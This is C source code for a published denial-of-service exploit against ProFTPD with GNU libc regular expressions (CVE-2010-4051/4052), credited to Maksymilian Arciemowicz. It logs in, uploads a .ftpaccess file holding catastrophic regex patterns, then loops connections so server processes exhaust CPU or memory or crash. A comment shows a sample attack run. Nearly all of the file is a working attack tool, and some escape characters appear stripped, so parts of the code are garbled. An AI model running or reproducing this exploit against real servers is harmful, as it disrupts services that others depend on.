#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>

/* 

proftpd multiple exploit for VU#912279 (only with GNU libc/regcomp(3))
by Maksymilian Arciemowicz

References:
http://www.kb.cert.org/vuls/id/912279
http://cxib.net/

Tested: 
Ubuntu + proftpd

This exploit need writing privileges to create .ftpaccess file with vulnerable regular expressions. Works well only under Linux

172.16.124.1 - NetBSD 5.1 (HACKER)
172.16.124.134 - Ubuntu 10.10 (TARGET)

PoC1:
.exitcx@cx64:~/advs/done$ ./reg1 172.16.124.134 21 cx password 172.16.124.1 1

Try create .ftpaccess with HideFiles "(.ftpaccess|(.*{10,}{10,}{10,}{10,}))$"
...
send: stat .

send: USER cx
PASS password

send: stat .

Can`t connect
.exit
cx@cx64:~/advs/done$ telnet 172.16.124.134 21
Trying 172.16.124.134...
telnet: Unable to connect to remote host: Connection refused

Resume: 
- created .ftpaccess file, and connect<=>disconnect
It will create a lot of proftpd children with 100% CPU usage.


If we try

./reg1 172.16.124.134 21 cx password 172.16.124.1 3

any proftpd children will generate memory exhausion

Options:
1 - cpu resource exhausion
2 - crash (recursion)
3 - memory resource exhausion
4 - possible crash with (ulimit {-v|-m})

*/


char expl0[]="HideFiles "(\.ftpaccess|(.*{10,}{10,}{10,}{10,}))$"";  //CVE-2010-4052 Long execution
char expl1[]="HideFiles "(\.ftpaccess|(.*{10,}{10,}{10,}{10,}{10,}))$""; //CVE-2010-4051 Crash
char expl2[]="HideFiles "(.*+++++++++++++++++++++++++++++(\w+))""; // memory exhausion
char expl3[]="HideFiles "(.*++++++++++++++++++++++++++++++(\w+))""; // if virtual memory limited, crash

int sendftp(int stream,char *what){
        if(-1==send(stream,what,strlen(what),0))
                printf("Can't send %sn",what);
        else
                printf("send: %sn",what);

        bzero(what,sizeof(what));
}

void readftp(int stream,int flag){
	if(flag==1) flag=MSG_DONTWAIT;
	else flag=0;
        char *readline=malloc(sizeof(char)*(4096+1));
	memset(readline,'x00',(4096+1));
        if(recv(stream,readline,4096,flag)<1){
                printf("Can't read from streamn");
		if(readline) free(readline);
		close(stream);
		exit(1);
	}
	else{
		if(readline)
			write(1, readline, strlen(readline));
		fflush(stdout);
	}
	free(readline);
}


int attack(host,port,login,pass)
char *host,*port,*login,*pass;
{
	char buffer[1024]; // send ftp command buffor
	int sockfd,n,error;
	struct addrinfo hints;
	struct addrinfo *res, *res0;

	memset(&hints, 0, sizeof(hints));
	hints.ai_family = PF_UNSPEC;
	hints.ai_socktype = SOCK_STREAM;
	error = getaddrinfo(host,port,&hints,&res0);

	if (error){
		errorcon:
		printf("Can`t connectn.exit");
		exit(1);
	}

	if((sockfd=socket(res0->ai_family,res0->ai_socktype,res0->ai_protocol))<0) goto errorcon;
	if(-1==connect(sockfd,res0->ai_addr,res0->ai_addrlen)) goto errorcon;

	snprintf(buffer,1024,"USER %snPASS %sn",login,pass);
	sendftp(sockfd,buffer);

	bzero(buffer,1024);
	snprintf(buffer,1024,"STAT .n");
	sendftp(sockfd,buffer);
	
	freeaddrinfo(res0);
	close(sockfd);
}

void exploreip(char *ip, int (*ipnum)[4]){
	char *wsk;
	
	wsk=(char *)strtok(ip,".");
	(*ipnum)[0]=atoi(wsk);
	wsk=(char *)strtok(NULL,".");
	(*ipnum)[1]=atoi(wsk);
	wsk=(char *)strtok(NULL,".");
	(*ipnum)[2]=atoi(wsk);
	wsk=(char *)strtok(NULL,".");
	(*ipnum)[3]=atoi(wsk);
}


int createexpl(host,port,login,pass,lip,pattern)
        char *host,*port,*login,*pass,*lip,*pattern;
{
        char buffer[1024]; // send ftp command buffor
        int ipnum[4];

        int sockfd,n,error,sendstream,binarystream,sendport = (1024 + getpid());

	struct addrinfo hints;
	struct addrinfo *res, *res0;
	struct sockaddr_in remo, loca;

	int len = sizeof(remo);
	
        memset(&hints, 0, sizeof(hints));
        hints.ai_family = PF_UNSPEC;
        hints.ai_socktype = SOCK_STREAM;
        error = getaddrinfo(host,port,&hints,&res0);

        if (error){
                errorcon:
		
		if(sendstream) close(sendstream);
		printf("Can`t connectn.exit");
                exit(1);
        }

        if((sockfd=socket(res0->ai_family,res0->ai_socktype, res0->ai_protocol))<0)     goto errorcon;
        if(-1==connect(sockfd,res0->ai_addr,res0->ai_addrlen)) goto errorcon;

        readftp(sockfd,1024);
        snprintf(buffer,1024,"USER %snPASS %sn",login,pass);
        sendftp(sockfd,buffer);
        readftp(sockfd,1024);
	readftp(sockfd,1024);

	exploreip(lip,&ipnum);
        snprintf(buffer,1024,"TYPE InPORT %d,%d,%d,%d,%d,%dn",ipnum[0],ipnum[1],ipnum[2],ipnum[3],sendport/256,sendport%256);
        sendftp(sockfd,buffer);
        readftp(sockfd,1024);
	
	bzero(&loca, sizeof(loca));
	loca.sin_family = AF_INET;
	loca.sin_port=htons(sendport);
	loca.sin_addr.s_addr = htonl(INADDR_ANY);

	if((sendstream=socket(AF_INET, SOCK_STREAM,0))<0) goto errorcon;
	if((bind(sendstream, (struct sockaddr *) &loca, sizeof(loca)))<0) goto errorcon;
	if(listen(sendstream, 10) < 0) goto errorcon;

	snprintf(buffer,1024,"STOR .ftpaccessn");
        sendftp(sockfd,buffer);
	
        readftp(sockfd,1024);

	if((binarystream=accept(sendstream,(struct sockaddr *)&remo,&len)) < 0) goto errorcon;
	write(binarystream,pattern,strlen(pattern));
	
	freeaddrinfo(res0);
	close(sendstream);
	printf("Created .ftpaccess file with %snIt`s time to attack...n",pattern);
	sleep(3);
	
	return 0;
}

void usage(){
	printf("Use: ./exploit target_ip port username password [your_ip] [option]nnCreate .ftpaccess with selected attacknoptions:n1 - Long execution CVE-2010-4052n2 - Recursion Crash CVE-2010-4051n3 - Memory exhausion n4 - Crash if virtual memory limitednn");
	exit(1);
}

int main(int argc,char *argv[])
{

        char *login,*pass,*lip=NULL;
        char logindef[]="anonymous",passdef[]="cx@127.0.0.1";

        printf("This is exploit for ERE (GNU libc)nby Maksymilian Arciemowicznn");

        if(argc<3) usage();

        char *host=argv[1];
        char *port=argv[2];

        if(4<=argc) login=argv[3];
        else login=logindef;

        if(5<=argc) pass=argv[4];
        else pass=passdef;

	if(6<=argc) lip=argv[5];
	
	if(7<=argc) switch(atoi(argv[6])){
		case 1:
			printf("Try create .ftpaccess with %snn",expl0); 
			createexpl(host,port,login,pass,lip,expl0);
		break;
		
		case 2:
			printf("Try create .ftpaccess with %snn",expl1);
			createexpl(host,port,login,pass,lip,expl1);
		break;
		
		case 3:
			printf("Try create .ftpaccess with %snn",expl2);
			createexpl(host,port,login,pass,lip,expl2);
		break;
		
		case 4:
			printf("Try create .ftpaccess with %snn",expl3);
			createexpl(host,port,login,pass,lip,expl3);
		break;
		
		default:
			usage();
		break;
	};

	while(1) attack(host,port,login,pass);
	
        return 0; // never happen
}